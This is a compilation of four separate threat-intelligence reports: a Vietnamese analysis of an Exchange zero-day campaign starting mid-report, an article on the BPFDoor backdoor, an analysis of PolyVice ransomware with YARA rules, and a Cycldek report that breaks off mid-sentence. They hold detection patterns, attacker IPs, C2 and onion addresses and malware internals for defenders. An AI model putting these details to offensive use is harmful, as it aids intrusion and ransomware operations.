074eb0e75bb2d8f59f1fd571a8c5b76f9c899834893da6f7591b68531f2b5d82 - 45c8233236a69a081ee390d4faa253177180b2bd45d8ed08369e07429ffbe0a9 - 9ceca98c2b24ee30d64184d9d2470f6f2509ed914dafb87604123057a14c57c0 - 29b75f0db3006440651c6342dc3c0672210cfb339141c75e12f6c84d990931c3 - c8c907a67955bcdf07dd11d35f2a23498fb5ffe5c6b5d7f36870cf07da47bff2 GTSC phân tích một mẫu cụ thể (074eb0e75bb2d8f59f1fd571a8c5b76f9c899834893da6f7591b68531f2b5d82) để mô tả hành vi của mã độc, các mẫu DLL khác có nhiệm vụ và hành vi giống nhau, chỉ khác nhau về cấu hình listener. DLL gồm 2 class: Run và m. Bên trong mỗi class gọi tới các method thực hiện các nhiệm vụ khác nhau. Cụ thể: - Class Run thực hiện tạo listener lắng nghe các kết nối tới port 443, đường dẫn `https://*:443/ews/web/webconfig/`. Sau quá trình lắng nghe, mã độc tạo thread mới gọi tới r. Method r thực hiện: - Kiểm tra request nhận được có data trong body hay không. Nếu không có data đi kèm trong request gửi lên máy chủ, kết quả trả về là 404. - Ngược lại, nếu trong request có đi kèm data, DLL tiếp tục xử lý luồng bên trong nhánh IF: - Kiểm tra request nhận được có tồn tại "RPDbgEsJF9o8S=" hay không. Nếu có, gọi tới method i nằm trong class m để xử lý request nhận được. Kết quả trả về từ Run.m.i sẽ được covert sang chuỗi base64. Kết quả trả về cho client theo format: ```json { "result":1, "message":"base64(aes(result))" } ``` - Class m - Method i thực hiện: - Giải mã request nhận được bằng thuật toán AES với 16 bytes đầu tiên của request là giá trị IV, 16 bytes tiếp theo là giá trị key, các giá trị sau đó là data. - Sau khi giải mã, lấy phần tử đầu tiên trong mảng làm flag để xử lý các case đã được định nghĩa. Các mẫu DLL khác có nhiệm vụ tương tự, chỉ khác nhau về cấu hình listener như sau: - Victim 1: - `https://*:443/ews/web/webconfig/` - `https://*:443/owa/auth/webcccsd/` - `https://*:444/ews/auto/` - `https://*:444/ews/web/api/` - Victim 2: - `http://*:80/owa/auth/Current/script/` - `https://*:443/owa/auth/Current/script/` Chúng tôi cũng phát hiện DLL được inject vào memory của tiến trình svchost.exe. DLL thực hiện kết nối gửi nhận dữ liệu tới địa chỉ `137[.]184[.]67[.]33` được config trong binary. Việc gửi nhận dữ liệu với C2 sử dụng thuật toán RC4, khóa sẽ được tạo trong thời gian chạy (runtime). ## Các biện pháp ngăn chặn tạm thời Quá trình xử lý sự cố trực tiếp của GTSC ghi nhận có trên 1 đơn vị tổ chức bị là nạn nhân của chiến dịch tấn công khai thác lỗ hổng zero day. Ngoài ra chúng tôi cũng lo ngại rằng có thể có nhiều tổ chức khác cũng đã bị khai thác nhưng chưa được phát hiện. Trong thời gian chờ đợi bản vá chính thức từ hãng, GTSC cung cấp biện pháp khắc phục tạm thời nhằm giảm thiểu việc tấn công khai thác lỗ hổng bằng cách bổ sung rule chặn các request có dấu hiệu tấn công thông qua module URL Rewrite rule trên máy chủ IIS. - Trong Autodiscover tại FrontEnd chọn tab URL Rewrite chọn Request Blocking. - Add thêm chuỗi `.*autodiscover\.json.*\@.*Powershell.*` vào Pattern (URL Path): - Condition input: lựa chọn {REQUEST_URI}. ## Phát hiện tấn công Nhằm kiểm tra hệ thống đã bị tấn công bởi lỗ hổng này, các đơn vị/tổ chức có thể thực hiện theo các cách thức sau: ### Cách 1 Sử dụng powershell với câu lệnh sau: (Sử dụng powershell để thực hiện search trên toàn bộ folder log IIS mất khá nhiều thời gian) ```powershell Get-ChildItem -Recurse -Path <Path_IIS_Logs> -Filter "*.log" | Select-String -Pattern 'powershell.*autodiscover\.json.*\@.*200' ``` Cấu hình mặc định IIS log nằm tại đường dẫn "%SystemDrive%\inetpub\logs\LogFiles". ### Cách 2 Sử dụng công cụ do GTSC phát triển dựa trên dấu hiệu khai thác lỗ hổng, thời gian thực hiện search nhanh hơn so với việc sử dụng powershell. Đường dẫn tải về công cụ: `https://github.com/ncsgroupvn/NCSE0Scanner`. Giao diện chính của chương trình sẽ thực hiện rà quét trong thư mục log được cấu hình. Người dùng có thể lựa chọn số thread mong muốn tùy theo cấu hình của máy chủ. Chương trình sẽ tiến hành rà quét tự động và trả về kết quả. - Trường hợp phát hiện dấu hiệu tấn công thành công: - Trường hợp không phát hiện dấu hiệu tấn công, thông báo trả về như sau: - Tệp `apt_matched.log`: tổng hợp các request tấn công thành công. - Tệp `apt_scan.log`: tổng hợp thông tin trong quá trình scan. Chúng tôi khuyến nghị các tổ chức/doanh nghiệp tại Việt Nam cũng như trên toàn thế giới đang sử dụng Microsoft Exchange Server tiến hành kiểm tra, rà soát, đồng thời áp dụng biện pháp khắc phục tạm thời bên trên sớm nhất có thể. ## Indicators of Compromise (IOCs) ### Webshell - File Name: pxh4HG1v.ashx - Hash (SHA256): c838e77afe750d713e67ffeb4ec1b82ee9066cbe21f11181fd34429f70831ec1 - Path: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\pxh4HG1v.ashx - File Name: RedirSuiteServiceProxy.aspx - Hash (SHA256): 65a002fe655dc1751add167cf00adf284c080ab2e97cd386881518d3a31d27f5 - Path: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\RedirSuiteServiceProxy.aspx - File Name: RedirSuiteServiceProxy.aspx - Hash (SHA256): b5038f1912e7253c7747d2f0fa5310ee8319288f818392298fd92009926268ca - Path: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\RedirSuiteServiceProxy.aspx - File Name: Xml.ashx (pxh4HG1v.ashx và Xml.ashx có cùng nội dung) - Hash (SHA256): c838e77afe750d713e67ffeb4ec1b82ee9066cbe21f11181fd34429f70831ec1 - Path: C:\inetpub\wwwroot\aspnet_client\Xml.ashx - Filename: errorEE.aspx - SHA256: be07bd9310d7a487ca2f49bcdaafb9513c0c8f99921fdf79a05eaba25b52d257 - Path: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\errorEE.aspx ### DLL - File name: Dll.dll - SHA256: - 074eb0e75bb2d8f59f1fd571a8c5b76f9c899834893da6f7591b68531f2b5d82 - 45c8233236a69a081ee390d4faa253177180b2bd45d8ed08369e07429ffbe0a9 - 9ceca98c2b24ee30d64184d9d2470f6f2509ed914dafb87604123057a14c57c0 - 29b75f0db3006440651c6342dc3c0672210cfb339141c75e12f6c84d990931c3 - c8c907a67955bcdf07dd11d35f2a23498fb5ffe5c6b5d7f36870cf07da47bff2 - File name: 180000000.dll (Dump từ tiến trình Svchost.exe) - SHA256: 76a2f2644cb372f540e179ca2baa110b71de3370bb560aca65dcddbd7da3701e ### IP - 125[.]212[.]220[.]48 - 5[.]180[.]61[.]17 - 47[.]242[.]39[.]92 - 61[.]244[.]94[.]85 - 86[.]48[.]6[.]69 - 86[.]48[.]12[.]64 - 94[.]140[.]8[.]48 - 94[.]140[.]8[.]113 - 103[.]9[.]76[.]208 - 103[.]9[.]76[.]211 - 104[.]244[.]79[.]6 - 112[.]118[.]48[.]186 - 122[.]155[.]174[.]188 - 125[.]212[.]241[.]134 - 185[.]220[.]101[.]182 - 194[.]150[.]167[.]88 - 212[.]119[.]34[.]11 ### URL - hxxp://206[.]188[.]196[.]77:8080/themes.aspx ### C2 - 137[.]184[.]67[.]33 ## Mitre ATT&CK Mapping | Tactic | ID | Name | |-------------------------------|---------------|----------------------------------------------------| | Resource Development | T1586.002 | Compromise Accounts: Email Accounts | | Execution | T1059.003 | Command and Scripting Interpreter: Windows Command Shell | | Execution | T1047 | Windows Management Instrumentation | | Persistence | T1505.003 | Server Software Component: Web Shell | | Defense Evasion | T1070.004 | Indicator Removal on Host: File Deletion | | Defense Evasion | T1036.005 | Masquerading: Match Legitimate Name or Location | | Defense Evasion | T1620 | Reflective Code Loading | | Credential Access | T1003.001 | OS Credential Dumping: LSASS Memory | | Discovery | T1087 | Account Discovery | | Discovery | T1083 | File and Directory Discovery | | Discovery | T1057 | Process Discovery | | Discovery | T1049 | System Network Connections Discovery | | Lateral Movement | T1570 | Lateral Tool Transfer | | Collection | T1560.001 | Archive Collected Data: Archive via Utility | 28/09/2022 GTSC SECURITY TEAM
# Stealthier version of Linux BPFDoor malware spotted in the wild A new, stealthier variant of the Linux malware 'BPFDoor' has been discovered, featuring more robust encryption and reverse shell communications. BPFDoor is a stealthy backdoor malware that has been active since at least 2017 but was only discovered by security researchers around 12 months ago. The malware gets its name from the use of the 'Berkley Packet Filter' (BPF) for receiving instructions while bypassing incoming traffic firewall restrictions. BPFDoor is designed to allow threat actors to maintain lengthy persistence on breached Linux systems and remain undetected for extended periods. Until 2022, the malware used RC4 encryption, bind shell, and iptables for communication, while commands and filenames were hardcoded. The newer variant analyzed by Deep Instinct features static library encryption, reverse shell communication, and all commands are sent by the C2 server. By incorporating the encryption within a static library, the malware developers achieve better stealth and obfuscation, as the reliance on external libraries like one featuring the RC4 cipher algorithm is removed. The main advantage of the reverse shell against the bind shell is that the former establishes a connection from the infected host to the threat actor's command and control servers, allowing communication to the attackers' servers even when a firewall protects the network. Finally, removing hardcoded commands makes it less likely for anti-virus software to detect the malware using static analysis like signature-based detection. It theoretically also gives it more flexibility, supporting a more diverse command set. Deep Instinct reports that the latest version of BPFDoor is not flagged as malicious by any available AV engines on VirusTotal, despite its first submission on the platform dating February 2023. ## Operation logic Upon first execution, BPFDoor creates and locks a runtime file at "/var/run/initd.lock," and then forks itself to run as a child process, and finally sets itself to ignore various OS signals that could interrupt it. Next, the malware allocates a memory buffer and creates a packet sniffing socket that it'll use for monitoring incoming traffic for a "magic" byte sequence ("\x44\x30\xCD\x9F\x5E\x14\x27\x66"). At this stage, BPFDoor attaches a Berkley Packet Filter to the socket to read only UDP, TCP, and SCTP traffic through ports 22 (ssh), 80 (HTTP), and 443 (HTTPS). Any firewall restrictions present on the breached machine won't impact this sniffing activity because BPFDoor operates at such a low level that they're not applicable. "When BPFDoor finds a packet containing its 'magic' bytes in the filtered traffic, it will treat it as a message from its operator and will parse out two fields and will again fork itself," explains Deep Instinct. "The parent process will continue and monitor the filtered traffic coming through the socket while the child will treat the previously parsed fields as a Command & Control IP-Port combination and will attempt to contact it." After establishing a connection with the C2, the malware sets up a reverse shell and waits for a command from the server. BPFDoor remains undetected by security software, so system admins may only rely on vigorous network traffic and logs monitoring, using state-of-the-art endpoint protection products, and monitor the file integrity on "/var/run/initd.lock." Also, a May 2022 report by CrowdStrike highlighted that BPFDoor used a 2019 vulnerability to achieve persistence on targeted systems, so applying the available security updates is always a crucial strategy against all types of malware.
# Custom-Branded Ransomware: The Vice Society Group and the Threat of Outsourced Development **Antonio Cocomazzi** ## Executive Summary The Vice Society group has adopted a new custom-branded ransomware payload in recent intrusions. This ransomware variant, dubbed “PolyVice”, implements a robust encryption scheme, using NTRUEncrypt and ChaCha20-Poly1305 algorithms. We assess it is likely that the group behind the custom-branded ransomware for Vice Society is also selling similar payloads to other groups. ## Background First identified in June 2021, Vice Society is a well-resourced ransomware group that has successfully breached various types of organizations. Using the classic double extortion technique, they maximize financial gain with purely opportunistic targeting. In recent months, Vice Society has expanded its target selection strategy to include additional sensitive sectors. The TTPs are nothing new. They include initial network access through compromised credentials, exploitation of known vulnerabilities (e.g., PrintNightmare), internal network reconnaissance, abuse of legitimate tools (aka COTS and LOLBins), commodity backdoors, and data exfiltration. Rather than using or developing their own locker payload, Vice Society operators have deployed third-party ransomware in their intrusions, including HelloKitty, Five Hands, and Zeppelin. In a recent intrusion, we identified a ransomware deployment that appended the file extension .ViceSociety to all encrypted files in addition to dropping ransom notes with the file name “AllYFilesAE” in each encrypted directory. Our initial analysis suggested the ransomware, which we dubbed “PolyVice”, was in the early stages of development. The presence of debugging messages suggested that the Vice Society group may be developing their own ransomware implementation. Zeppelin ransomware, previously seen used by the group, was recently found to implement a weak encryption scheme that allows for decryption of locked files, potentially motivating the group to adopt a new locker. However, further investigation showed that a decryptor related to the PolyVice variant first appeared in the wild on July 13, 2022, indicating that the locker could not have been in the early stages of development and that a “release” version existed prior to the group’s use of Zeppelin and other ransomware variants. Our analysis suggests that Vice Society has used a toolkit overpopulated with different ransomware strains and variants. We identified significant overlap in the encryption implementation observed in the “RedAlert” ransomware, a Linux locker variant targeting VMware ESXi servers, suggesting that both variants were developed by the same group of individuals. According to Microsoft, Vice Society adopted the RedAlert variant in late September 2022. We haven’t been able to confirm if a RedAlert Windows variant payload existed in the wild at the time, or if the Windows variant we track as PolyVice has any relation with it. Further investigation also revealed that the codebase used to build the Vice Society Windows payload has been used to build custom-branded payloads for other threat groups, including the “Chily” and “SunnyDay” ransomware. ## Code similarities between Vice Society and Chily Ransomware These numbers provide clear evidence that the code is maintained by the same developers. The Vice Society branded payload has 100% matched functions compared to the Chily branded payload, indicating that the executable codebase is identical. The SunnyDay branded payload is an older version of the codebase that has a 100% match on 410 functions and is missing an additional 37 net new functions implemented in the Vice Society codebase. The real difference is in the intended use of the code exemplified by the data section, where all of the ransomware campaign details are stored, such as the encrypted file extension, ransom note file name, hardcoded master key, ransom note content, and wallpaper text. We assess it’s likely that a previously unknown developer or group of developers with specialized expertise in ransomware development is selling custom-branded ransomware payloads to multiple groups. The details embedded in these payloads make it highly unlikely that Vice Society, SunnyDay, and Chily ransomware are operated by the same group. The delivery method for this “Locker as a Service” is unclear, but the code design suggests the ransomware developer provides a builder that enables buyers to independently generate any number of lockers/decryptors by binary patching a template payload. This allows buyers to customize their ransomware without revealing any source code. Unlike other known RaaS builders, buyers can generate branded payloads, enabling them to run their own RaaS programs. ## Analyzing PolyVice | Initialization of the NTRU Asymmetric Keys PolyVice ransomware is a 64-bit Windows binary compiled with MinGW (SHA1: c8e7ecbbe78a26bea813eeed6801a0ac9d1eacac). PolyVice implements a hybrid encryption scheme that combines asymmetric and symmetric encryption to securely encrypt files. For asymmetric encryption, it uses an open source implementation of the NTRUEncrypt algorithm, which is known to be quantum-resistant. For symmetric encryption, it uses an open source implementation of the ChaCha20-Poly1305 algorithm, a stream cipher with message authentication, a 256-bit key and 96-bit nonce. In the initialization phase, it imports a hardcoded NTRU Public Key generated offline with the provider EES587EP1 (192 bits strength). Subsequently, a new random NTRU key pair is generated on the victim system at runtime with the provider EES401EP2 (112 bits strength). The newly generated NTRU key pair is unique to each execution and tied to the victim system. This is the key that will be used for encrypting the ChaCha20-Poly1305 symmetric keys. In order to protect the generated NTRU private key, the ransomware encrypts it through the ntru_encrypt function with the hardcoded NTRU public key (also referred as the master public key). The encrypted NTRU private key of the system generated at runtime is stored in a configuration blob. The configuration blob is contained within a custom data structure “CustomConfigBlog”. Moreover, in the configuration blob is stored the random NTRU public key generated on the system. The configuration blob is stored in a global variable, allowing it to be retrieved during the symmetric encryption preparation stage. Once the initialization of the NTRU keys is complete, the malware proceeds to implement a method for parallelizing the encryption routine across multiple workers. This speeds up the encryption process and makes it more efficient. ## Parallelizing Encryption The PolyVice locker utilizes a multi-threading approach to parallelize the encryption of the files. This is achieved through the CreateThread function to spawn multiple workers and the synchronization with the main thread occurs with a WaitForMultipleObject call. In order to exchange data between the main thread and the worker threads, it uses an I/O Completion Port, a helper function exposed through the Win32 API call CreateIoCompletionPort that provides an efficient way to manage concurrent asynchronous I/O requests through a queue. More specifically, PolyVice uses the following data structure to exchange data between the main thread and the workers: CustomCompletionPortStruct data structure definition. The worker threads are in charge of the symmetric encryption of the files content. Each thread constantly polls for an I/O completion packet from the global I/O completion port. The packet received from GetQueuedCompletionStatus contains a data structure CustomCompletionPortStruct that is expected to be populated by the main thread in the symmetric encryption preparation stage. All the required data to perform the file encryption are contained in this data structure. Each worker thread implements all of the operations to read the file content, perform the ChaCha20-Poly1305 encryption, writing the encrypted blocks back to the file and append the file footer. This payload, like many modern ransomware variants, employs optimization techniques in its encryption routine to improve speed. These optimization efforts often involve additional care in the reading and writing of file chunks. The manner in which these optimizations are carried out is determined by specific parameters set in the CustomCompletionPortStruct data structure, which is passed to the completion port by the main thread during the symmetric encryption preparation stage. The core element that dictates the use of these optimization techniques is the size of the file. The two functions for reading and writing the file content are shown below: Due to the compiler optimizations, the code flow of the two functions looks twisted. The code logic can be summarized (with file sizes rounded for the sake of simplicity) as follows: - Files smaller than 5MB are fully encrypted. - Files with a size between 5MB and 100MB are partially encrypted: A total of 5MB of content is encrypted by splitting them into 2 chunks of 2.5MB. First chunk from the top and the second chunk from the bottom of the file. - Files bigger than 100MB are partially encrypted: A total of 25MB of content is encrypted in intermittent mode split into 10 chunks of 2.5MB distributed every 10% of the file size. The final step in the encryption process is the addition of a file footer to each encrypted file. This is an essential step because the file footer contains the necessary information to decrypt the file that can be unlocked only by the master private key holder (usually the attacker). The following data structure is appended as file footer to each encrypted file: CustomFileFooter data structure definition. ## Main Thread Functionality Once the main thread has completed the setup of all worker threads running in the background, the ransomware proceeds to the file enumeration stage. If no arguments are provided to the process command line, the ransomware will execute its default behavior. This involves the enumeration of all local and remote drives, including network shares. For each discovered drive, the function EnumAndEncryptFilesFromPath (pseudo name) is invoked with the root path as its input parameter. This function uses the Win32 API calls FindFirstFile and FindNextFile to retrieve the paths of all files from all directories and subdirectories within the starting path. When a new file is discovered, the symmetric encryption preparation stage is invoked through the function PrepareFileForSymmetricEncryption (pseudo name), and the ransom note is copied into the enumerated directory. The PrepareFileForSymmetricEncryption function is used for the symmetric encryption preparation stage. The function sets up the CustomCompletionPortStruct data structure with the information needed for symmetric encryption of the file. It then generates and stores a new ChaChaPoly symmetric key and nonce in the data structure. It is important to note that this initialization is performed for each file to be encrypted, ensuring that each file has a unique symmetric key. The ChaChaPoly symmetric key and nonce are then encrypted using the NTRU public key generated at runtime on the victim system. Once this is done, the file is ready for encryption and all the required data is set up in the data structure. The main thread sends the data structure to the completion port via PostQueuedCompletionStatus, where it will be retrieved by one of the worker threads that is currently available for processing. After enumerating all the files and sending them to the worker threads, the main thread will use the WaitForMultipleObjects function to wait until all worker threads have completed their symmetric encryption tasks. The strong encryption scheme and emphasis on performance optimization suggest that the ransomware was likely developed by an experienced developer or team of developers who are familiar with ransomware development. ## Conclusion The Vice Society group has established itself as a highly-resourced and capable threat actor, capable of successfully carrying out ransom attacks against large environments and with connections within the criminal underground. The adoption of the PolyVice Ransomware variant has further strengthened their ransomware campaigns, enabling them to quickly and effectively encrypt victims’ data using a robust encryption scheme. The ransomware ecosystem is constantly evolving, with the trend of hyperspecialization and outsourcing continuously growing. These groups are focusing on specific skill sets and offering them as a service to other groups, effectively mimicking traditional “professional services” and lowering barriers to entry for less capable groups. This trend towards specialization and outsourcing presents a significant threat to organizations as it enables the proliferation of sophisticated ransomware attacks. It is crucial for organizations to be aware of this trend and take steps to protect themselves against these increasingly sophisticated threats. ## Indicators of Compromise | Type | Value | Note | |--------|-------------------------------------------------------------------------------------------|----------------------------------------------------------------------| | SHA1 | c8e7ecbbe78a26bea813eeed6801a0ac9d1eacac | “Vice Society” branded ransomware payload (PolyVice) | | SHA1 | 342c3be7cb4bae9c8476e578ac580b5325342941 | “Vice Society” branded ransomware payload (PolyVice) | | SHA256 | f366e079116a11c618edcb3e8bf24bcd2ffe3f72a6776981bf1af7381e504d61 | “Vice Society” branded ransomware payload (PolyVice) | | SHA1 | da6a7e9d39f6a9c802bbd1ce60909de2b6e2a2aa | “RedAlert” branded ransomware linux variant | | SHA256 | 039e1765de1cdec65ad5e49266ab794f8e5642adb0bdeb78d8c0b77e8b34ae09 | “RedAlert” branded ransomware linux variant | | SHA1 | 2b3fea431f342c7b8bcff4b89715002e44d662c7 | “SunnyDay” branded ransomware payload | | SHA256 | 7b379458349f338d22093bb634b60b867d7fd1873cbd7c65c445f08e73cbb1f6 | “SunnyDay” branded ransomware payload | | SHA1 | 6cfb5b4a68100678d95270e3d188572a30abd568 | “Chily” branded ransomware payload | | SHA256 | 4dabb914b8a29506e1eced1d0467c34107767f10fdefa08c40112b2e6fc32e41 | “Chily” branded ransomware payload | | SHA1 | a0f58562085246f6b544b7e24dc78c17ce7ed5ad | NTRU-ChaChaPoly (PolyVice) ransomware decryptor | | SHA256 | 9d9e949ecd72d7a7c4ae9deae4c035dcae826260ff3b6e8a156240e28d7dbfef | NTRU-ChaChaPoly (PolyVice) ransomware decryptor | | SHA1 | 0abc350662b81a7c81aed0676ffc70ac75c1a495 | NTRU-ChaChaPoly (PolyVice) ransomware decryptor | | SHA256 | 326a159fc2e7f29ca1a4c9a64d45b76a4a072bc39ba864c49d804229c5f6d796 | NTRU-ChaChaPoly (PolyVice) ransomware decryptor | | SHA1 | 3105d6651f724ac90ff5cf667a600c36b0386272 | NTRU-ChaChaPoly (PolyVice) ransomware decryptor | | SHA256 | 8c8cb887b081e0d92856fb68a7df0dabf0b26ed8f0a6c8ed22d785e596ce87f4 | NTRU-ChaChaPoly (PolyVice) ransomware decryptor | | File | .ViceSociety | Vice Society file extension appended to encrypted files | | File | .v-society | Vice Society file extension appended to encrypted files | | File | AllYFilesAE | Vice Society ransom note file name | | File | ALL YOUR FILES ARE ENCRYPTED!!! | Vice Society ransom note file name | | Email | [email protected] | Vice Society main email address | | Email | [email protected] | Vice Society alternative email address | | Email | [email protected] | Vice Society alternative email address | | Email | [email protected] | Vice Society alternative email address | | Email | [email protected] | Vice Society alternative email address | | Tor | vsociethok6sbprvevl4dlwbqrzyhxcxaqpvcqt5belwvsuxaxsutyad.onion | Vice Society main tor website | | Tor | vsocietyjynbgmz4n4lietzmqrg2tab4roxwd2c2btufdwxi6v2pptyd.onion | Vice Society mirror tor website | | Tor | ssq4zimieeanazkzc5ld4v5hdibi2nzwzdibfh5n5w4pw5mcik76lzyd.onion | Vice Society mirror tor website | | Tor | wmp2rvrkecyx72i3x7ejhyd3yr6fn5uqo7wfus7cz7qnwr6uzhcbrwad.onion | Vice Society mirror tor website | | Tor | ml3mjpuhnmse4kjij7ggupenw34755y4uj7t742qf7jg5impt5ulhkid.onion | Vice Society mirror tor website | | Tor | fuckcisanet5nzv4d766izugxhnqqgiyllzfynyb4whzbqhzjojbn7id.onion | Vice Society mirror tor website | | Tor | fuckfbrlvtibsdw5rxtfjxtog6dfgpz62ewoc2rpor2s6zd5nog4zxad.onion | Vice Society mirror tor website | | Tor | wjdgz3btk257obba7aekowz7ylm33zb6hu4aetxc3bypfajixzvx4iad.onion | RedAlert tor website | ## Yara Hunting Rules ```yara rule MAL_Win_Ransomware_ViceSociety { meta: author = "Antonio Cocomazzi @ SentinelOne" description = "Detect a custom branded version of Vice Society ransomware" date = "2022-11-28" hash = "c8e7ecbbe78a26bea813eeed6801a0ac9d1eacac" strings: $code1 = {4? 8B ?? 28 00 02 00 } $code2 = {4? C7 ?? 18 03 02 00 A3 00 00 00} $code3 = {(48|49) 8D 8? 58 00 02 00} $code4 = {(48|49) 8D 9? E8 02 02 00} $code5 = {(48|4C) 89 ?? 24 38} $code6 = {4? 8B ?? F8 02 02 00} $code7 = {C7 44 24 48 01 00 00 00} $string1 = "vsociet" nocase wide ascii condition: uint16(0) == 0x5A4D and all of them } rule MAL_Win_Ransomware_PolyVice { meta: author = "Antonio Cocomazzi @ SentinelOne" description = "Detect a windows ransomware variant tracked as PolyVice adopted by multiple threat actors" date = "2022-11-28" hash1 = "c8e7ecbbe78a26bea813eeed6801a0ac9d1eacac" hash2 = "6cfb5b4a68100678d95270e3d188572a30abd568" hash3 = "2b3fea431f342c7b8bcff4b89715002e44d662c7" strings: $code1 = {4? 8B ?? 28 00 02 00 } $code2 = {4? C7 ?? 18 03 02 00 A3 00 00 00} $code3 = {(48|49) 8D 8? 58 00 02 00} $code4 = {(48|49) 8D 9? E8 02 02 00} $code5 = {(48|4C) 89 ?? 24 38} $code6 = {4? 8B ?? F8 02 02 00} $code7 = {C7 44 24 48 01 00 00 00} condition: uint16(0) == 0x5A4D and all of them } rule MAL_Lin_Ransomware_RedAlert { meta: author = "Antonio Cocomazzi @ SentinelOne" description = "Detect a linux ransomware variant dubbed as RedAlert" date = "2022-11-28" hash = "da6a7e9d39f6a9c802bbd1ce60909de2b6e2a2aa" strings: $code1 = {BA 48 00 00 00 BE [4] BF [4] E8 [4] BA 48 00 00 00 BE [4] BF [4] E8} $code2 = {BF [4] 66 [6] 6B 06 E8} $code3 = {B9 02 00 00 00 [0-12] BE 14 00 00 00 BF} $code4 = {49 81 FE 00 00 50 00 [0-12] 0F} $code5 = {49 81 FE 00 00 40 06 [0-12] 0F} condition: uint32(0) == 0x464c457f and all of them } ```
# Cycldek: Bridging the (air) gap **Key findings** While investigating attacks related to a group named Cycldek post 2018, we uncovered various pieces of information on its activities that were not known thus far. In this blog post, we aim to bridge the knowledge gap on this group and provide a more thorough insight into its latest activities and modus operandi. Here are some key insights that will be described in this publication: - Cycldek (also known as Goblin Panda and Conimes) has been active in the past two years, conducting targeted operations against governments in Southeast Asia. - Our analysis shows two distinct patterns of activity, indicating the group consists of two operational entities that are active under a mutual quartermaster. - We uncovered an extensive toolset for lateral movement and information stealing used in targeted networks, consisting of custom and unreported tools as well as living-off-the-land binaries. - One of the newly revealed tools is named USBCulprit and has been found to rely on USB media to exfiltrate victim data. This may suggest Cycldek is trying to reach air-gapped networks in victim environments or relies on physical presence for the same purpose. **Background** Cycldek is a long-known Chinese-speaking threat actor. Based on the group’s past activity, it has a strong interest in Southeast Asian targets, with a primary focus on large organizations and government institutions in Vietnam. This is evident from a series of targeted campaigns that are publicly attributed to the group: - **2013** – Indicators affiliated to the group were found in a network of a technology company operating in several sectors, as briefly described by CrowdStrike. - **2014** – Further accounts by CrowdStrike describe vast activity by the group against Southeast Asian organizations, most notably Vietnam. The campaigns made prominent use of Vietnamese-language lure documents, delivering commodity malware like PlugX, typically leveraged by Chinese-speaking actors. - **2017** – The group was witnessed launching attacks using RTF lure documents with political content related to Vietnam, dropping a variant of a malicious program named NewCore RAT, as described by Fortinet. - **2018** – Attacks have been witnessed in government organizations across several Southeast Asian countries, namely Vietnam, Thailand, and Laos, using a variety of tools and new TTPs. These were the focus of intel reports available to Kaspersky’s Threat Intelligence Portal subscribers since October 2019. Most attacks observed after 2018 start with a politically themed RTF document built with the 8.t document builder (also known as ‘Royal Road’) and sent as a phishing mail to the victims. These documents are bundled with 1-day exploits (e.g., CVE-2012-0158, CVE-2017-11882, CVE-2018-0802) which in turn run a dropper for three files: - A legitimate signed application, usually related to an AV product, e.g., QcConsol – McAfee’s QuickClean utility, and wsc_proxy.exe, Avast’s remediation service. - A malicious DLL which is side-loaded by the former application. - An encrypted binary which gets decrypted and executed by the DLL. The final payload that is run in memory is malware known as NewCore RAT. It is based on an open-source framework named PcShare or PcClient that used to be prevalent in Chinese hacker forums more than a decade ago. Today, the software is fully available on Github, allowing attackers to leverage and modify it for their needs. In the case of Cycldek, the first public accounts of the group’s usage of NewCore date back to 2017. As described in a blog post by Fortinet, the malware provides the attacker with broad capabilities such as conducting a range of operations on files, taking screenshots, controlling the machine via a remote shell, and shutting down or restarting the system. **Two implants, two clusters** When inspecting the NewCore RAT malware delivered during the various attacks we investigated, we were able to distinguish between two variants. Both were deployed as side-loaded DLLs and shared multiple similarities, both in code and behavior. At the same time, we noticed differences that indicate the variants could have been used by different operators. Our analysis shows that the underlying pieces of malware and the way they were used form two clusters of activity. As a result, we named the variants BlueCore and RedCore and examined the artifacts we found around each one in order to profile their related clusters. Notable characteristics of each cluster’s implant are summarized in the table below. | **BlueCore** | **RedCore** | |--------------|-------------| | **Initial Infection Vector** | RTF documents | Unknown | | **Legitimate AV Utility** | QcConcol.exe (McAfee’s QuickClean utility) | wsc_proxy.exe (Avast’s remediation application) | | **Side-Loaded DLL** | QcLite.dll | wsc.dll | | **Payload Loader** | stdole.tlb – contains PE loading shellcode and an encrypted BlueCore binary | msgsm64.acm -contains PE loading shellcode and an encrypted RedCore binary | | **Injected Process** | dllhst3g.exe | explorer.exe or winlogon.exe | | **Configuration File** | %APPDATA%\desktop.ini | C:\Documents and Settings\All Users\Documents\desktop.ini or C:\Documents and Settings\All Users\Documents\desktopWOW64.ini | | **Mutexes** | UUID naming scheme, e.g., {986AFDE7-F299-4A7D-BBF4-CA756FC27208}, {CF94A87F-4B49-4751-8E5C-DA2D0A8DEC2F} | UUID naming scheme, e.g., {CB191C19-1D2D-45FC-9092-6DB462EFEAC6}, {F0062B9A-15F8-4D5F-9DE8-02F39EBF71FB}, {E68DFA68-1132-4A32-ADE2-8C87F282C457}, {728264DE-3701-419B-84A4-2AD86B0C43A3}, {2BCD5B61-288C-44D5-BA0D-AAA00E9D2273}, {D9AE3AB0-D123-4F38-A9BE-898C8D49A214} | | **Communicated URL Scheme** | http://%s:%d/link?url=%s&enpl=%s&encd=%s | http://%s:%d/search.jsp?referer=%s&kw=%s&psid=%s or http://%s:%d/search.jsp?url=%s&referer=%s&kw=%s&psid=%s | As demonstrated by the table, the variants share similar behavior. For example, both use DLL load order hijacking to run code from DLLs impersonating dependencies of legitimate AV utilities and both share a mutex naming convention of random UUIDs, where mutexes are used for synchronization of thread execution. By comparing code in both implants, we can find multiple functions that originate from the PCShare RAT; however, several others are proprietary and demonstrate identical code that may have been written by a shared developer. Moreover, both implants leverage similar injected shellcode used to load the RedCore and BlueCore implants. This shellcode, which resides in the files ‘stdole.tlb’ and ‘msgsm64.acm’, contains a routine used to decrypt the implants’ raw executable from an embedded blob, map it to memory, and execute it from its entry point in a new thread. Since both pieces of shellcode are identical for the two variants and cannot be attributed to any open-source project, we estimate that they originate from a proprietary shared resource. Having said that, it is also evident that there are differences between the variants. The clearest distinctions can be made by looking at malware functionality that is unique to one type of implant and absent from the other. The following are examples of features that could be found only in RedCore implants, suggesting that despite their similarity with BlueCore, they were likely used by a different entity for different purposes: - **Keylogger**: RedCore records the title of the current foreground window (if it exists) and logs 